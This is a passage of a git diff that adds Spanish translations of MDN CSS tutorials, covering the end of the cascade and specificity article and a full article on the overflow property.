+<p><strong>Nota</strong>: También hay un valor más reciente, {{cssxref ("revert")}}, que todavía admiten pocos navegadores.</p>
+</div>
+
+<div class="blockIndicator note">
+<p><strong>Nota</strong>: Véase la sección <a href="/en-US/docs/Web/CSS/Cascade#Origin_of_CSS_declarations" title="Este artículo explica qué es la cascada, el orden de la secuencia en cascada de las declaraciones CSS, y cómo esto afecta al desarrollador web.">El origen de las declaraciones CSS</a> en el artículo <a href="/en-US/docs/Web/CSS/Cascade" title=" Este artículo explica qué es la cascada, el orden de la secuencia en cascada de las declaraciones CSS, y cómo esto afecta al desarrollador web.">Introducción al concepto de cascada en CSS </a> para obtener más información sobre cada uno de estos valores y el modo en que funcionan.</p>
+</div>
+
+<p>A continuación veremos una lista de enlaces y exploraremos cómo funcionan los valores universales. El ejemplo en vivo de abajo te permite jugar con el CSS y ver lo que sucede cuando se hacen cambios. Jugar con el código es la mejor forma de enfrentarse al HTML y el CSS.</p>
+
+<p>Por ejemplo:</p>
+
+<ol>
+ <li>Se ha aplicado la clase <code>my-class-1</code> al segundo elemento de lista. Esto establece por herencia el color del elemento <code>&lt;a&gt;</code> que está anidado en él. ¿Cómo cambia el color del enlace si quitamos esta regla?</li>
+ <li>¿Entiendes por qué el tercer y el cuarto enlace se ven de este color? En caso contrario, comprueba la descripción de los valores anteriores.</li>
+ <li>¿Cuál de los enlaces va a cambiar de color si se define un nuevo color para el elemento <code>&lt;a&gt;</code>, por ejemplo, <code>a { color: red; }</code>?</li>
+</ol>
+
+<p>{{EmbedGHLiveSample("css-examples/learn/cascade/keywords.html", '100%', 700)}} </p>
+
+<h3 id="Restablecer_todos_los_valores_de_propiedad">Restablecer todos los valores de propiedad</h3>
+
+<p>La propiedad CSS abreviada <code>all</code> se puede utilizar para aplicar uno de estos valores de herencia a (casi) todas las propiedades a la vez. Su valor puede ser cualquiera de los valores de herencia (<code>inherit</code>, <code>initial</code>, <code>unset</code>, o <code>revert</code>). Es una forma práctica de deshacer los cambios realizados respecto al estilo para que puedas volver a un punto de partida conocido antes de empezar a introducir cambios.</p>
+
+<p>En el ejemplo siguiente hay dos bloques de cita. El primero ya tiene un estilo aplicado al propio elemento de cita, mientras que el segundo tiene una clase aplicada al bloque de cita que establece el valor <code>all</code> en <code>unset</code>.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/learn/cascade/all.html", '100%', 700)}} </p>
+
+<p>Prueba a establecer el valor de <code>all</code> al resto de valores disponibles y observa la diferencia.</p>
+
+<h2 id="Comprender_la_cascada">Comprender la cascada</h2>
+
+<p>Ahora entendemos por qué un párrafo que está anidado en la estructura del HTML es del mismo color que el CSS aplicado al cuerpo (<code>body</code>) del HTML y, a partir de los artículos de introducción sabemos cómo cambiar el CSS aplicado a algo en cualquier parte del documento, ya sea mediante la asignación de CSS a un elemento o la creación de una clase. Ahora vamos a echar un vistazo a la forma en que el concepto de cascada define qué reglas CSS se aplican cuando más de un elemento de estilo puede aplicar estilo a un elemento.</p>
+
+<p>Hay que considerar tres factores, que se enumeran a continuación en orden de importancia creciente. Los posteriores invalidan los anteriores:</p>
+
+<ol>
+ <li><strong>Orden en el código</strong></li>
+ <li><strong>Especificidad</strong></li>
+ <li><strong>Importancia</strong></li>
+</ol>
+
+<p>Vamos a explicarlos para ver cómo los navegadores determinan exactamente que CSS deben aplicar.</p>
+
+<h3 id="Orden_en_el_código">Orden en el código</h3>
+
+<p>Ya hemos visto cómo el orden en el código es importante en el concepto de cascada. Si tienes más de una regla con exactamente el mismo peso, la que ocupa el último lugar en el CSS gana. Puedes entenderlo como que las reglas que están más cerca del elemento considerado sobreescriben las anteriores hasta que la última gana y da formato al elemento.</p>
+
+<h3 id="Especificidad_2">Especificidad</h3>
+
+<p>Una vez entendido el hecho de que el orden de los elementos en el código es importante, te encontrarás en alguna situación en la que sabes cuál es la última norma en la hoja de estilo, pero se aplica una regla anterior. Esto se debe a que la regla anterior tiene <strong>una especificidad mayor</strong>, es decir, es más específica y, por lo tanto, el navegador la escoge como la que debe dar forma al elemento.</p>
+
+<p>Como hemos visto anteriormente en este mismo artículo, un selector de clase tiene más peso que un selector de elemento, por lo que las propiedades que se definen en la clase tienen prioridad sobre las que se aplican directamente en el elemento.</p>
+
+<p>Un elemento que hay que tener en cuenta es que aunque pensamos en términos de selectores y reglas que se aplican a lo que estos seleccionan, no es toda la regla lo que se sobrescribe, sino solo las propiedades que entran en conflicto.</p>
+
+<p>Este comportamiento ayuda a evitar repeticiones en el CSS. Una práctica común es definir estilos genéricos para los elementos básicos y luego, crear clases para los elementos que son diferentes. Por ejemplo, en la hoja de estilo que mostramos a continuación hemos definido estilos genéricos para los encabezados de nivel 2; posteriormente hemos creado algunas clases que solo cambian algunas de las propiedades y los valores. Los valores definidos inicialmente se aplican a todos los encabezados, y entonces los valores más específicos se aplican a los encabezados con las clases.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/learn/cascade/mixing-rules.html", '100%', 700)}} </p>
+
+<p>Ahora vamos a echar un vistazo a cómo el navegador calcula la especificidad. Ya sabemos que un selector de elemento tiene una especificidad baja y se puede sobrescribir con un elemento de clase. Esencialmente se otorga un valor de puntos a los diferentes tipos de selectores y la suma de estos establece la importancia de ese selector en particular, que a continuación puede evaluarse ante otras posibles coincidencias.</p>
+
+<p>La cantidad de especificidad de un selector se mide usando cuatro valores diferentes (o componentes), que pueden describirse como millares, centenas, decenas y unidades (cuatro dígitos individuales dispuestos en cuatro columnas):</p>
+
+<ol>
+ <li><strong>Millares</strong>: Se suma un punto en esta columna si la declaración está en un atributo de {{htmlattrxref ("style")}} o, como suelen denominarse, estilos en línea. Tales declaraciones no tienen selectores, por lo que su especificidad siempre es 1000.</li>
+ <li><strong>Centenas</strong>: Se suma un punto en esta columna por cada selector con ID particular que esté contenido en el selector general.</li>
+ <li><strong>Decenas</strong>: Se suma un punto en esta columna por cada selector de clase, de atributo o pseudoclase que estén contenidos en el selector general.</li>
+ <li><strong>Unidades</strong>: Se suma un punto en esta columna por cada selector o pseudoelemento que esté contenido en el selector general.</li>
+</ol>
+
+<div class="note">
+<p><strong>Nota</strong>: El selector universal (<code>*</code>), los operadores de combinación (<code>+</code>, <code>&gt;</code>, <code>~</code>, ' ') y la pseudo-clase de negación (<code>:not</code>) no tienen ningún efecto sobre la especificidad.</p>
+</div>
+
+<p>La tabla siguiente muestra algunos ejemplos concretos para ayudarte a entenderlo mejor. Analízalos y trata de entender por qué tienen la especificidad que les hemos dado. Aun no hemos explicado los selectores de forma detallada, pero puedes encontrar detalles de cada selector en los <a href="/es/docs/Web/CSS/Selectores_CSS">selectores de referencia</a> de MDN.</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Selector</th>
+   <th scope="col">Millares:</th>
+   <th scope="col">Centenas:</th>
+   <th scope="col">Decenas:</th>
+   <th scope="col">Unidades:</th>
+   <th scope="col">Especificidad total</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>h1</code></td>
+   <td>0</td>
+   <td>0</td>
+   <td>0</td>
+   <td>1</td>
+   <td>0001</td>
+  </tr>
+  <tr>
+   <td><code>h1 + p::first-letter</code></td>
+   <td>0</td>
+   <td>0</td>
+   <td>0</td>
+   <td>3</td>
+   <td>0003</td>
+  </tr>
+  <tr>
+   <td><code>li &gt; a[href*="en-US"] &gt; .inline-warning</code></td>
+   <td>0</td>
+   <td>0</td>
+   <td>2</td>
+   <td>2</td>
+   <td>0022</td>
+  </tr>
+  <tr>
+   <td><code>#identifier</code></td>
+   <td>0</td>
+   <td>1</td>
+   <td>0</td>
+   <td>0</td>
+   <td>0100</td>
+  </tr>
+  <tr>
+   <td>Sin selector, con una regla en el atributo de un elemento {{htmlattrxref("style")}}</td>
+   <td>1</td>
+   <td>0</td>
+   <td>0</td>
+   <td>0</td>
+   <td>1000</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>Antes de continuar, vamos a ver un ejemplo:</p>
+
+<p>{{EmbedGHLiveSample("css-examples/learn/cascade/specificity-boxes.html", '100%', 700)}} </p>
+
+<p>¿Qué pasa aquí? En primer lugar, estamos interesados solo en las primeras siete reglas de este ejemplo y, como te habrás dado cuenta, hemos incluido sus valores de especificidad en un comentario antes de cada una.</p>
+
+<ul>
+ <li>Los dos primeros selectores compiten sobre el estilo del color del fondo del vínculo (el segundo gana y por eso el color de fondo es azul, porque en la cadena hay un selector con ID particular extra: la especificidad es de 201 contra 101).</li>
+ <li>El tercer y el cuarto selector compiten sobre el estilo del color del texto del enlace (el segundo gana y hace que el texto sea blanco porque, aunque tiene un selector de elemento de menos, el selector que falta se sustituye por un selector de clase, con un valor de decena en vez de un valor de unidad). Así que la especificidad es de 113 contra 104.</li>
+ <li>Los selectores 5-7 compiten por el estilo del borde del vínculo cuando el cursor se desplaza sobre estos. El sexto selector pierde claramente ante el quinto con una especificidad de 23 contra 24. En la cadena hay un selector de elemento de menos. El séptimo selector, sin embargo, los supera a ambos: en la cadena hay el mismo número de estos subselectores que en el quinto, pero se ha intercambiado un elemento por un selector de clase. Así que la especificidad es de 33 contra 23 y 24.</li>
+</ul>
+
+<ol>
+</ol>
+
+<div class="note">
+<p><strong>Nota</strong>: Esto solo es un ejemplo aproximado para facilitar la comprensión. En realidad, cada tipo de selector tiene su nivel de especificidad propio, que no pueden sobrescribir los selectores con un nivel de especificidad menor. Por ejemplo, un <em>millar</em> de selectores de <strong>clase</strong> combinados no serían capaces de sobrescribir las reglas de <em>un</em> selector <strong>ID</strong>.</p>
+
+<p>Una forma más precisa de evaluar la especificidad sería anotar los niveles de especificidad individualmente de mayor a menor. Solo cuando hay empate entre las puntuaciones de los selectores dentro de un nivel especifico será necesario evaluar el nivel inferior siguiente; de lo contrario, puedes prescindir de los selectores de especificidad de los niveles inferiores, ya que nunca pueden sobrescribir los niveles de especificidad más altos.</p>
+</div>
+
+<h3 id="Propiedad_!important">Propiedad <code>!important</code></h3>
+
+<p>Hay una pieza especial de CSS que se puede utilizar para anular todos los cálculos anteriores, sin embargo se debe tener mucho cuidado con su uso: <code>!important</code>. Se utiliza para convertir una propiedad y un valor particular en el elemento más específico, de modo que se invalidan las reglas normales de la cascada.</p>
+
+<p>Echa un vistazo a este ejemplo en el que se muestran dos párrafos, uno de los cuales tiene un elemento ID.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/learn/cascade/important.html", '100%', 700)}} </p>
+
+<p>Vamos a observarlo con detenimiento para ver qué sucede. Elimina algunas de las propiedades para ver lo que sucede si te cuesta entender lo que ocurre:</p>
+
+<ol>
+ <li>Verás que se han aplicado los valores de {{cssxref("color")}} y {{cssxref("padding")}} de la tercera regla pero no el de {{cssxref("background-color")}}. ¿Por qué? Deberían haberse aplicado para los tres porque las reglas que se encuentran más adelante en el orden en el código fuente prevalecen sobre las reglas anteriores.</li>
+ <li>Sin embargo, ganan las reglas que están antes porque los selectores de clase tienen mayor especificidad que selectores de elemento.</li>
+ <li>En ambos bloques de código hay una clase {{htmlattrxref("class")}} con el valor <code>better</code>, pero en el segundo bloque de código hay un {{htmlattrxref("id")}} con el valor <code>winning</code>. Puesto que los identificadores tienen una especificidad <em>incluso mayor</em> que las clases (solo puede haber un elemento con un determinado ID en cada página, mientras que puede haber muchos elementos de la misma clase: los selectores ID son <em>muy específicos</em> con lo que delimitan), el primer bloque de código tendría un fondo de color gris y ningún borde, según lo que especifica la clase, mientras que al segundo bloque de código se aplicarían tanto el color de fondo rojo como el borde negro de 1 píxel.</li>
+ <li>El segundo elemento, en cambio, se muestra con el fondo de color rojo pero sin borde. ¿Por qué? Porque la declaración <code>!important</code> que hay en la segunda regla, después de <code>border: none</code> significa que esta declaración tendrá más valor que la regla anterior, aunque el ID de esta tenga mayor especificidad.</li>
+</ol>
+
+<div class="note">
+<p><strong>Nota</strong>: La única manera de anular la declaración <code>!important</code> sería incluir otra declaración <code>!important</code> en una declaración con la <em>misma especificidad</em> que aparezca más adelante en el orden del código fuente, o con una especificidad superior.</p>
+</div>
+
+<p>Es útil saber que <code>!important</code> existe para que sepas qué es cuando te lo encuentres en el código de otras personas. <strong>Sin embargo, te recomendamos encarecidamente que no lo utilices a menos que sea absolutamente necesario.</strong> <code>!important</code> cambia el modo en que suele funcionar la cascada, por lo que puede dificultar mucho la depuración de problemas en el CSS, especialmente en una hoja de estilo grande.</p>
+
+<p>Una situación en la que puede que tengas que utilizarlo es si trabajas en un CMS en el que no es posible editar los módulos básicos de CSS y realmente tienes que anular un estilo que no puede anularse de ninguna otra forma. Aun así, te recomendamos encarecidamente que evites su uso.</p>
+
+<h2 id="El_efecto_de_la_ubicación_del_CSS">El efecto de la ubicación del CSS</h2>
+
+<p>Por último, resulta útil señalar que la importancia de una declaración CSS depende de la hoja de estilo en que se especifica (es posible que los usuarios configuren hojas de estilo personalizadas para anular los estilos de los desarrolladores, por ejemplo, porque el usuario podría tener alguna discapacidad visual, o bien porque desea configurar el tamaño de letra de todas las páginas web que visita para que sea el doble de grande y le proporcione una mayor facilidad de lectura).</p>
+
+<h2 id="Resumen">Resumen</h2>
+
+<p>Las declaraciones contradictorias se aplicarán en el orden siguiente (recuerda que las últimas prevalecen sobre las anteriores):</p>
+
+<ol>
+ <li>Declaraciones en las hojas de estilo de agente de usuario (por ejemplo, estilos predeterminados del navegador, que se utilizan cuando no hay otro estilo).</li>
+ <li>Declaraciones normales en las hojas de estilo del usuario (estilos personalizados creados por un usuario).</li>
+ <li>Declaraciones normales en las hojas de estilo de autor (los estilos que creamos nosotros, los desarrolladores web).</li>
+ <li>Declaraciones <code>!important</code> en las hojas de estilo de autor</li>
+ <li>Declaraciones <code>!important</code> en las hojas de estilo del usuario</li>
+</ol>
+
+<p>Para los desarrolladores tiene sentido que sus hojas de estilo anulen a las de usuario para mantener el diseño según lo previsto, pero, como hemos visto, a veces los usuarios tienen buenas razones para anular las directrices de los desarrolladores web. Esto puede lograrse con el uso de <code>!important</code> en sus reglas.</p>
+
+<h2 id="Pon_a_prueba_tus_habilidades">Pon a prueba tus habilidades</h2>
+
+<p>Hemos cubierto mucho terreno en este artículo. ¿Recuerdas la información más importante? Encontrarás más pruebas para verificar que retienes esa einformación en <a href="/en-US/docs/Learn/CSS/Building_blocks/Cascade_tasks">Test your skills: the Cascade</a>.</p>
+
+<h2 id="¿Qué_sigue">¿Qué sigue?</h2>
+
+<p>Si has entendido la mayor parte de este artículo, ¡enhorabuena! Has comenzado a familiarizarte con la mecánica fundamental del CSS. En el artículo siguiente vamos a ver con detalle los selectores.</p>
+
+<p>Si todavía no tienes una comprensión completa de los conceptos de cascada, especificidad y herencia, ¡no te preocupes! Es, sin duda, lo más complejo que hemos expuesto hasta ahora y es algo que incluso los desarrolladores web profesionales encuentran difícil. Te aconsejamos que regreses a este artículo cuantas veces necesites a medida que avances con el curso.</p>
+
+<p>Regresa a esta página si empiezas a toparte con problemas extraños o con que los estilos no se aplican de la forma que esperas. Podría ser un problema de especificidad.</p>
+
+<p>{{NextMenu("Learn/CSS/Building_blocks/Selectors", "Learn/CSS/Building_blocks")}}</p>
+
+<h2 id="En_este_módulo">En este módulo</h2>
+
+<ol>
+ <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Cascade_and_inheritance">La cascada y la herencia</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Selectors">Selectores CSS</a>
+  <ul>
+   <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Selectors/Type_Class_and_ID_Selectors">Selectores de tipo, de clase y de ID</a></li>
+   <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Selectors/Attribute_selectors">Selectores de atributo</a></li>
+   <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Selectors/Pseudo-classes_and_pseudo-elements">Las pseudo-clases y los pseudo-elementos</a></li>
+   <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Selectors/Combinators">Operadores de combinación</a></li>
+  </ul>
+ </li>
+ <li><a href="/en-US/docs/Learn/CSS/Building_blocks/The_box_model">El modelo de caja</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Backgrounds_and_borders">Fondos y bordes</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Handling_different_text_directions">El uso de diferentes direcciones de texto</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Overflowing_content">El desbordamiento de los contenidos</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Values_and_units">Los valores y las unidades</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Sizing_items_in_CSS">Elementos de dimensionado en CSS</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Images_media_form_elements">Imágenes, media y elementos de formulario </a></li>
+ <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Styling_tables">Aplicar estilo a las tablas</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Debugging_CSS">Depurar el CSS</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Organizing">Organizar el CSS</a></li>
+</ol>
diff --git a/files/es/learn/css/building_blocks/contenido_desbordado/index.html b/files/es/learn/css/building_blocks/contenido_desbordado/index.html
new file mode 100644
index 0000000000..808a519c12
--- /dev/null
+++ b/files/es/learn/css/building_blocks/contenido_desbordado/index.html
@@ -0,0 +1,123 @@
+---
+title: Contenido desbordado
+slug: Learn/CSS/Building_blocks/Contenido_desbordado
+translation_of: Learn/CSS/Building_blocks/Overflowing_content
+---
+<div>{{LearnSidebar}}{{PreviousMenuNext("Learn/CSS/Building_blocks/Handling_different_text_directions", "Learn/CSS/Building_blocks/Values_and_units", "Learn/CSS/Building_blocks")}}</div>
+
+<p>En este artículo veremos otro concepto importante en CSS: el <strong>desbordamiento</strong>. El desbordamiento es lo que sucede cuando hay demasiado contenido para que pueda caber cómodamente en una caja. En esta guía aprenderás qué es y cómo administrarlo.</p>
+
+<table class="learn-box standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Prerrequisitos:</th>
+   <td>Conocimientos básicos de informática, tener el <a href="/es/docs/Learn/Getting_started_with_the_web/Instalacion_de_software_basico">software básico</a> instalado, conocimientos básicos de <a href="/es/docs/Learn/Getting_started_with_the_web/Manejando_los_archivos">trabajar con archivos</a>, conocimientos básicos de HTML (véase <a href="/es/docs/Learn/HTML/Introduccion_a_HTML">Introducción al HTML</a>) y nociones de CSS (véase <a href="/es/docs/Learn/CSS/First_steps">Primeros pasos con el CSS</a>).</td>
+  </tr>
+  <tr>
+   <th scope="row">Objetivo:</th>
+   <td>Comprender el desbordamiento y cómo gestionarlo.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="¿Qué_es_el_desbordamiento">¿Qué es el desbordamiento?</h2>
+
+<p>Ya sabemos que todo en CSS está dentro de una caja, y que podemos restringir el tamaño de estas cajas asignándoles los valores {{cssxref ("width")}} y {{cssxref ("height")}} (o {{cssxref("inline-size")}} y {{cssxref("block-size")}}). <strong>El desbordamiento es lo que sucede cuando hay demasiado contenido en una caja, y no cabe cómodamente en ella.</strong> El CSS te proporciona varias herramientas para administrar este desbordamiento, y además es un concepto que resulta útil de conocer desde las primeras etapas. Te encontrarás con situaciones de desbordamiento con bastante frecuencia al escribir CSS, especialmente cuando profundices en compaginación con CSS.</p>
+
+<h2 id="El_CSS_trata_de_evitar_«la_pérdida_de_datos»">El CSS trata de evitar «la pérdida de datos»</h2>
+
+<p>Vamos a comenzar con dos ejemplos que demuestran cómo se comporta el CSS por defecto cuando ocurre un desbordamiento.</p>
+
+<p>El primero consiste en una caja que a la que se le ha restringido la dimensión al darle una altura. Luego hemos añadido más contenido del que cabe en la caja. El contenido se desborda y se distribuye desordenadamente sobre el párrafo que hay debajo de la caja.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/learn/overflow/block-overflow.html", '100%', 600)}}</p>
+
+<p>El segundo consiste en una palabra dentro de una caja cuya dimensión en línea está restringida. La caja se ha hecho demasiado pequeña para que esa palabra quepa, y se desborda.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/learn/overflow/inline-overflow.html", '100%', 500)}}</p>
+
+<p>Te debes estar preguntando por qué el CSS ha tomado por defecto el enfoque más bien desarreglado de provocar el desbordamiento desordenado del contenido. ¿Por qué no ocultar el contenido adicional o hacer crecer la caja?</p>
+
+<p>Siempre que sea posible, el CSS no oculta su contenido; hacerlo provocaría la pérdida de datos, que generalmente es un problema. En términos de CSS, esto significa que una parte del contenido desaparece. El problema con que desaparezca contenido es que podría ser que no notaras que ha desaparecido. Tus visitantes podrían no darse cuenta de que ha desaparecido contenido. Si se trata del botón de envío de datos en un formulario, nadie podría completar el formulario, y ¡eso es un gran problema! Así que, en vez de esto, el CSS tiende a desbordarse de un modo que sea visible. Es probable que te des cuenta de ese desarreglo, o en el peor de los casos, que un visitante de tu sitio web te informe de que una parte del contenido se superpone y debas arreglarlo.</p>
+
+<p>Si has restringido el tamaño de una caja con una anchura o una altura determinadas, el CSS asume que sabes lo que haces y que gestionas correctamente el potencial de desbordamiento. En general, restringir el tamaño de un bloque es problemático cuando el texto se va a poner en una caja, porque puede haber más texto del que te esperabas al diseñar el sitio o el tamaño del texto puede ser mayor, por ejemplo, si el usuario lo aumenta.</p>
+
+<p>En los artículos siguientes veremos diferentes modos de controlar el tamaño que podrían ser menos propensos a desbordarse. Sin embargo, si necesitas un tamaño fijo, también puedes controlar cómo se comporta el desbordamiento. ¡Sigue leyendo!</p>
+
+<h2 id="La_propiedad_overflow">La propiedad <code>overflow</code></h2>
+
+<p>La propiedad {{cssxref ("overflow")}} es el modo como tomas el control del desbordamiento de un elemento y le dices al navegador cómo desea que se comporte. El valor predeterminado para la propiedad <code>overflow</code> es <code>visible</code>, por lo que, de forma predeterminada vamos a poder ver cuándo se desborda nuestro contenido.</p>
+
+<p>Si deseas cortar el contenido cuando se desborda, puedes establecer el valor <code>overflow: hidden</code> en tu caja, que hace exactamente lo que dice: ocultar el desbordamiento. Esto puede hacer que las cosas desaparezcan, por lo que solo debes utilizar esta opción si ocultar contenido no te va a causar ningún problema.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/learn/overflow/hidden.html", '100%', 600)}}</p>
+
+<p>Quizás te gustaría añadir barras de desplazamiento cuando el contenido se desborde. Si usas <code>overflow: scroll</code>, tu navegador siempre mostrará barras de desplazamiento, incluso cuando no haya suficiente contenido para que pueda desbordarse. Es posible que desees hacer esto, porque evita que aparezcan y desaparezcan barras de desplazamiento según el contenido.</p>
+
+<p><strong>Si en la caja siguiente eliminas parte del contenido, observarás que las barras de desplazamiento permanecen aun sin que haya nada que desplazar (o, como mucho, solo las pistas de la barra de desplazamiento).</strong></p>
+
+<p>{{EmbedGHLiveSample("css-examples/learn/overflow/scroll.html", '100%', 600)}}</p>
+
+<p>En el ejemplo anterior solo necesitamos desplazarnos en el eje <code>y</code>, sin embargo, obtenemos barras de desplazamiento en ambos ejes. En su lugar, puedes usar la propiedad {{cssxref ("overflow-y")}}, y establecer <code>overflow-y: scroll</code> para poder desplazarte solo por el eje <em>y</em>.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/learn/overflow/scroll-y.html", '100%', 600)}}</p>
+
+<p>También puedes desplazarte por el eje <em>x</em> usando {{cssxref ("overflow-x")}}, aunque esta no es una forma recomendada para manejar palabras largas. Si necesitas lidiar con una palabra larga en una caja pequeña, puedes consultar las propiedades {{cssxref ("word-break")}} o {{cssxref ("overflow-wrap")}}. Además, algunos de los métodos expuestos en el artículo <a href="/es/docs/Learn/CSS/Building_blocks/Dimensionar_elementos_en_CSS">Elementos de dimensionado en CSS</a> pueden ayudarte a crear cuadros que se adapten mejor a cantidades variables de contenido.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/learn/overflow/scroll-x.html", '100%', 500)}}</p>
+
+<p>Al igual que con el desplazamiento, obtendrás una barra de desplazamiento en la dimensión de desplazamiento independientemente de si hay suficiente contenido para provocar una barra de desplazamiento.</p>
+
+<div class="blockIndicator note">
+<p><strong>Nota</strong>: observa que puedes especificar un desplazamiento en <em>x</em> y en <em>y</em> utilizando la propiedad <code>overflow</code> y pasando dos valores. Si especificas dos palabras clave, la primera se aplica a <code>overflow-x</code> y la segunda a <code>overflow-y</code>. De lo contrario, tanto <code>overflow-x</code> como <code>overflow-y</code> se fijan en el mismo valor. Por ejemplo, <code>overflow: scroll hidden</code> establece <code>overflow-x</code> en <code>scroll</code> y <code>overflow-y</code> en <code>hidden</code>.</p>
+</div>
+
+<p>Si deseas que aparezcan barras de desplazamiento solo si hay más contenido del que cabe en la caja, utiliza <code>overflow: auto</code>. En este caso, el navegador decide si muestra las barras de desplazamiento o no. Los navegadores de escritorio solo suelen hacerlo cuando hay contenido suficiente para causar desbordamiento.</p>
+
+<p><strong>En el ejemplo siguiente, elimina parte del contenido hasta que quepa en la caja y observarás que las barras de desplazamiento desaparecen.</strong></p>
+
+<p>{{EmbedGHLiveSample("css-examples/learn/overflow/auto.html", '100%', 600)}}</p>
+
+<h2 id="overflow_establece_un_contexto_de_formato_de_bloque"><code>overflow</code> establece un contexto de formato de bloque</h2>
+
+<p>En CSS hay un concepto conocido como <strong>block formatting context</strong> o BFC (<em>contexto de formato de bloque</em>). No es algo de lo que debas preocuparte demasiado en este momento, pero es útil saber que cuando usas un valor de <code>overflow</code>, como <code>scroll</code> o <code>auto</code>, creas un BFC. El resultado es que el contenido de la caja al que acabas de cambiar el valor <code>overflow</code> se convierte en un minidiseño propio. Las cosas que están fuera del contenedor no pueden meterse en él, y nada puede sobresalir de esa caja hacia el diseño circundante. Esto es para permitir un comportamiento con desplazamiento, porque para poder crear una experiencia de desplazamiento consistente todo el contenido de tu caja ha de estar contenido en algo, y no puede superponerse con otros elementos de la página.</p>
+
+<h2 id="Desbordamiento_no_deseado_en_diseño_web">Desbordamiento no deseado en diseño web</h2>
+
+<p>Los métodos de diseño modernos (explicados en el módulo <a href="/es/docs/Learn/CSS/CSS_layout">Diseñar con el CSS</a>) gestionan muy bien el desbordamiento. Han sido diseñados para hacer frente al hecho de que tendemos a no poder predecir cuánto contenido habrá en la web. Sin embargo, en el pasado, los desarrolladores a menudo usaban alturas fijas para tratar de alinear los fondos de cajas que en realidad no tenían relación entre sí. Este método era frágil y, en una aplicación heredada, ocasionalmente puede aparecer una caja en que el contenido se superpone a otro contenido de la página. Si ves esto, sabrás que se trata de desbordamiento. Lo ideal sería volver a calcular el diseño para no tener que confiar tamaños de caja fijos.</p>
+
+<p>Al desarrollar un sitio web, siempre debes tener en cuenta los problemas de desbordamiento. Debes probar diseños con cantidades grandes y pequeñas de contenido, aumentar el tamaño de letra... y asegurarte de que tu CSS puede hacerle frente sin ningún problema. Es probable que cambiar el valor de <code>overflow</code> para ocultar contenido o añadir barras de desplazamiento sea algo que debas reservar solo para unos pocos casos especiales, en que realmente desees una caja con barra de desplazamiento, por ejemplo.</p>
+
+<h2 id="Pon_a_prueba_tus_conocimientos">Pon a prueba tus conocimientos</h2>
+
+<p>Hay mucho que absorber en esta lección. ¿Recuerdas la información más importante? Para comprobarlo, ve a <a href="https://wiki.developer.mozilla.org/en-US/docs/Learn/CSS/Building_blocks/Overflow_Tasks">Test your skills: overflow</a>.</p>
+
+<h2 id="Resumen">Resumen</h2>
+
+<p>Este breve artículo ha introducido el concepto de desbordamiento; ahora comprendes que el CSS intenta no hacer invisible el desbordamiento de contenido, porque esto provoca la pérdida de datos. Has descubierto que puedes gestionar el desbordamiento potencial y también que debes probar tu trabajo para asegurarte de que no causa un desbordamiento problemático accidentalmente.</p>
+
+<p>{{PreviousMenuNext("Learn/CSS/Building_blocks/Handling_different_text_directions", "Learn/CSS/Building_blocks/Values_and_units", "Learn/CSS/Building_blocks")}}</p>
+
+<h2 id="En_este_módulo">En este módulo</h2>
+
+<ol>
+ <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Cascade_and_inheritance">Cascada y herencia</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Selectors">Selectores CSS</a>
+  <ul>
+   <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Selectors/Type_Class_and_ID_Selectors">Selectores de tipo, de clase y de ID</a></li>
+   <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Selectors/Attribute_selectors">Selectores de atributo</a></li>
+   <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Selectors/Pseudo-classes_and_pseudo-elements">Las pseudoclases y los pseudoelementos</a></li>
+   <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Selectors/Combinators">Selectores de combinación</a></li>
+  </ul>
+ </li>
+ <li><a href="/en-US/docs/Learn/CSS/Building_blocks/The_box_model">El modelo de cajas</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Backgrounds_and_borders">Fondos y bordes</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Handling_different_text_directions">El uso de diferentes direcciones de texto</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Overflowing_content">El desbordamiento de los contenidos</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Values_and_units">Valores y unidades</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Sizing_items_in_CSS">Elementos de dimensionado en el CSS</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Images_media_form_elements">Imágenes, media y elementos de formulario</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Styling_tables">Estilo de las tablas</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Debugging_CSS">Depurar el CSS</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Organizing">Organizar el CSS</a></li>
+</ol>
